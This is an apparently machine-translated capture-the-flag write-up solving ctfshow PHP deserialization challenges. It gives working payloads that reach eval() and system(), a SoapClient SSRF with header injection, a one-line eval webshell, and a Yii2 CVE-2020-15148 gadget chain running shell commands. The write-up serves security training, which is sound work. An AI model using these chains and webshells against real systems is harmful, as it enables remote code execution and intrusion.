Magic methods commonly used in deserialization: __wakeup() //This function is called first when deserialize() is executed __sleep() //When you execute serialize(), this function is called first __destruct() //Triggered when an object is destroyed __call() //Triggered when an inaccessible method is called in the context of an object __callStatic() //Triggered when an inaccessible method is called in a static context __get() //This method is called for reading data from inaccessible properties or if the key does not exist __set() //Used to write data to inaccessible properties __isset() //Triggered by calling isset() or empty() on an inaccessible property __unset() //Triggered when unset() is used on an inaccessible property __toString() //Triggered when a class is used as a string __invoke() //Triggered when an attempt is made to call an object as a function
catalogue
Web 254
if($user->login($username,$password))
Just let it return.
if($this->username===$u&&$this->password===$p){ $this->isVip=true; }
So you can pass in the same as in the code.
Payload:
?username=xxxxxx&password=xxxxxx
Web 255
Just bypass these two if.
if($user->login($username,$password)){ if($user->checkVip())
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=ture; } $a=serialize(new ctfShowUser()); echo urlencode($a);
Just pass in the result.
Don't forget the content of GET username = XXXXXX & password = xxxxxx
Web 256
One step more than the previous question.
if($this->username!==$this->password)
Represents that the username and password after deserialization are not equal.
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='a'; public $isVip=ture; } $a=serialize(new ctfShowUser()); echo urlencode($a);
payload:
?username=xxxxxx&password=a
Cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D
Web 257
You need to use the eval of getInfo() method in backDoor class to change the value of code.
Triggered when deserialized__ The construct method shile instantiates the backDoor class, which will be called automatically when it is finally destroyed__ destruct() method, and then eval() executes the command.
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=ture; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor { private $code="system('ls');"; public function getInfo() { eval($this->code); } } $a=serialize(new ctfShowUser()); echo urlencode($a);
payload:
?username=xxxxxx&password=xxxxxx
Cookie incoming:
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bs%3A4%3A%22ture%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D
web 258
The plus sign bypasses the regular.
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct(){ $this->class=new backDoor(); } public function __destruct(){ $this->class->getInfo(); } } class backDoor { public $code="system('cat f*');"; public function getInfo() { eval($this->code); } } $a= serialize(new ctfShowUser()); echo $a."\n"; $a=str_replace("O:","O:+",$a); echo $a."\n"; echo urlencode($a);
payload:
?username=xxxxxx&password=xxxxxx
Cookie incoming:
user=O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27cat+f%2A%27%29%3B%22%3B%7D%7D
web 259
Knowledge points
1. If an instantiated class calls a function that does not exist, it will call it__ Call magic method__ Call will send a request
2. Content type of post data submission type
Exp:
<?php $ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua)); echo urlencode(serialize($client)) ?>
Payload:
?vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A10%3A"127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A138%3A"ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D
Then visit flag Txt
Web 260
Ctfshow must be serialized from the incoming ctfshow_i_love_36D.
We pass in directly:
? Ctfshow= ctfshow_i_love_36D
Get flag
Web 261
The invoke of this question cannot be entered, so you can use file_ put_ The contents function writes a sentence to the Trojan horse.
And the code needs to be equal to 0x36d(877), which can be passed in 877 PHP, because = = is a weak type comparison
When the class is also defined__ unserialize() and__ wakeup() two magic methods,
Only__ The unserialize() method takes effect, so you don't need to consider the contents of wakeup.
Will enter when deserializing__ In unserialize(), when ctfshowvip is destroyed and replaced, it will enter again__ destruct().
Then it will pass through the file_put_contents function to achieve the purpose.
Payload:
O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
Then it is normal to use the one sentence Trojan horse to get the flag.
web 265
passsword should be controllable. You can let the password point to the address of the token. In this way, when the number of tokens is randomly generated, the password will also change.
example:
<?php class ctfshowAdmin { public $token; public $password; public function __construct() { $this->password=&$this->token; $this->token='a'; } } $a=serialize(new ctfshowAdmin()); echo $a ?>
Payload:
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
Web 266
Case sensitive: variable name, constant name, array index (key name)
Case insensitive: function name, method name, class name, magic constant, NULL, FALSE, TRUE
Case can be bypassed.
<?php class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __destruct(){ global $flag; echo $flag; } } echo serialize(new ctfshow()) ?>
POST:
O:7:"ctfSHOW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
Web 267
CVE-2020-15148 vulnerability.
Weak password login admin/admin
Check the source code and find:
Try to pass in.
Try / index php? r=site%2Fabout&view-source.
Poc:
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'ls />feng.txt'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader=new Generator(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
Payload:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjEzOiJscyAvPmZlbmcudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
Then visit Feng PHP, find flag.
Change the script and use CP / flag 1 Txt get flag.
Web 268
Filtered the flag.
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /f* feng.txt'; } } } namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['isRunning'] = [new IndexAction(), 'run']; } } } namespace Codeception\Extension{ use Faker\Generator; class RunProcess { private $processes = []; public function __construct(){ $this->processes[]=new Generator(); } } } namespace{ use Codeception\Extension\RunProcess; echo base64_encode(serialize(new RunProcess())); }
Payload:
/index.php?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjQ6ImV4ZWMiO3M6MjoiaWQiO3M6MTU6ImNwIC9mKiBmZW5nLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fX0=
Then visit Feng txt